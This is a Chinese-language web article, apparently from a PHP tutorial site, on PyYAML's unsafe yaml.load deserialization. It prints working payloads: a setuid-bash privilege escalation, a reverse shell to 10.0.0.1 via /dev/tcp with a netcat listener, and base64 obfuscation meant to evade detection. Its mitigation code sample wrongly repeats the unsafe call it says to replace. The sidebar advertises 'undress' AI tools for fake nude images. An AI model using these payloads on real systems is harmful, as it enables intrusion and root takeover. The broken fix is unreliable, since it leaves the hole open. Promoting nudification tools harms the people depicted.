在 Python 中使用 YAML 时要小心!可能存在安全漏洞
Python 中的 YAML(YAML 不是标记语言)库已被确定存在允许在特定条件下执行任意命令的漏洞。该漏洞是由于使用 yaml.load 函数而未指定安全加载程序而引起的。默认情况下,yaml.load 可以执行任意 Python 对象,这为恶意负载创建了攻击面。
通过任意命令执行进行利用
根本风险在于反序列化过程。当 YAML 文档包含恶意负载时,yaml.load 会处理嵌入的指令,可能导致代码执行。例如,考虑以下代码片段:
import yaml filename = "example.yml" data = open(filename, 'r').read() yaml.load(data) # Unsafe usage
这里,yaml.load 函数不受限制地解析 example.yml,如果 YAML 内容包含不安全指令,则该函数很容易受到攻击。典型的漏洞利用负载可以被设计来执行任意系统命令。
有效负载示例
import yaml from yaml import Loader, UnsafeLoader # Malicious payload payload = b'!!python/object/new:os.system ["cp `which bash` /tmp/bash;chown root /tmp/bash;chmod u+sx /tmp/bash"]' # Exploitation yaml.load(payload) yaml.load(payload, Loader=Loader) yaml.load(payload, Loader=UnsafeLoader)
每个调用都会处理有效负载,从而在 /tmp/bash 中创建特权可执行文件。然后可以使用提升的权限执行该二进制文件:
/tmp/bash -p
这表明,如果在权限配置错误或存在其他弱点的系统上利用该漏洞,则可能会出现权限提升的可能性。
反向 Shell 攻击
一个特别阴险的用例是利用该漏洞进行反向 shell。这使得攻击者能够远程访问目标计算机。该过程涉及在攻击者的计算机上启动侦听器并制作旨在建立反向连接的 YAML 文档。
在攻击者的机器上,启动 Netcat 监听器:
nc -lvnp 1234
在目标系统上,以 root 身份执行以下 Python 脚本:
import yaml # Reverse shell payload data = '!!python/object/new:os.system ["bash -c \"bash -i >& /dev/tcp/10.0.0.1/1234 0>&1\""]' yaml.load(data) # Executes the reverse shell
此有效负载指示目标计算机连接回攻击者的侦听器,提供具有执行进程权限的完全交互式 shell。
用于混淆的 Base64 编码
要绕过基本的安全控制或过滤器,有效负载可以进行 Base64 编码。此方法添加了一层混淆,可能会逃避静态分析工具的检测。
例子
from base64 import b64decode import yaml # Base64-encoded payload encoded_payload = b"ISFweXRa...YXNoIl0=" # Truncated for brevity payload = b64decode(encoded_payload) # Execute the payload yaml.load(payload)
缓解技术
专业人员必须采用严格的编码实践来消除此类漏洞。建议的缓解措施包括:
-
使用安全加载器:将 yaml.load 替换为 yaml.safe_load,这样可以防止执行任意对象。
import yaml filename = "example.yml" data = open(filename, 'r').read() yaml.load(data) # Unsafe usage
登录后复制登录后复制 限制输入源:确保 YAML 输入经过净化并且仅来自可信来源。
应用静态分析:使用工具扫描代码库是否存在不安全的 yaml.load 调用。
环境强化:限制系统权限以最大程度地减少利用的影响。例如,使用容器化环境限制了攻击者提升权限的能力。
YAML 库的默认行为体现了与 Python 等动态类型语言中的反序列化相关的风险。利用此漏洞所需的复杂程度极低,因此它成为安全应用程序开发的高优先级问题。采用安全的编码实践以及强大的输入验证和运行时保护措施对于有效减轻这些风险至关重要。
以上是在 Python 中使用 YAML 时要小心!可能存在安全漏洞的详细内容。更多信息请关注PHP中文网其他相关文章!

热AI工具

Undresser.AI Undress
人工智能驱动的应用程序,用于创建逼真的裸体照片

AI Clothes Remover
用于从照片中去除衣服的在线人工智能工具。

Undress AI Tool
免费脱衣服图片

Clothoff.io
AI脱衣机

Video Face Swap
使用我们完全免费的人工智能换脸工具轻松在任何视频中换脸!

热门文章

热工具

记事本++7.3.1
好用且免费的代码编辑器

SublimeText3汉化版
中文版,非常好用

禅工作室 13.0.1
功能强大的PHP集成开发环境

Dreamweaver CS6
视觉化网页开发工具

SublimeText3 Mac版
神级代码编辑软件(SublimeText3)

Linux终端中查看Python版本时遇到权限问题的解决方法当你在Linux终端中尝试查看Python的版本时,输入python...

使用FiddlerEverywhere进行中间人读取时如何避免被检测到当你使用FiddlerEverywhere...

在使用Python的pandas库时,如何在两个结构不同的DataFrame之间进行整列复制是一个常见的问题。假设我们有两个Dat...

Uvicorn是如何持续监听HTTP请求的?Uvicorn是一个基于ASGI的轻量级Web服务器,其核心功能之一便是监听HTTP请求并进�...

如何在10小时内教计算机小白编程基础?如果你只有10个小时来教计算机小白一些编程知识,你会选择教些什么�...

攻克Investing.com的反爬虫策略许多人尝试爬取Investing.com(https://cn.investing.com/news/latest-news)的新闻数据时,常常�...
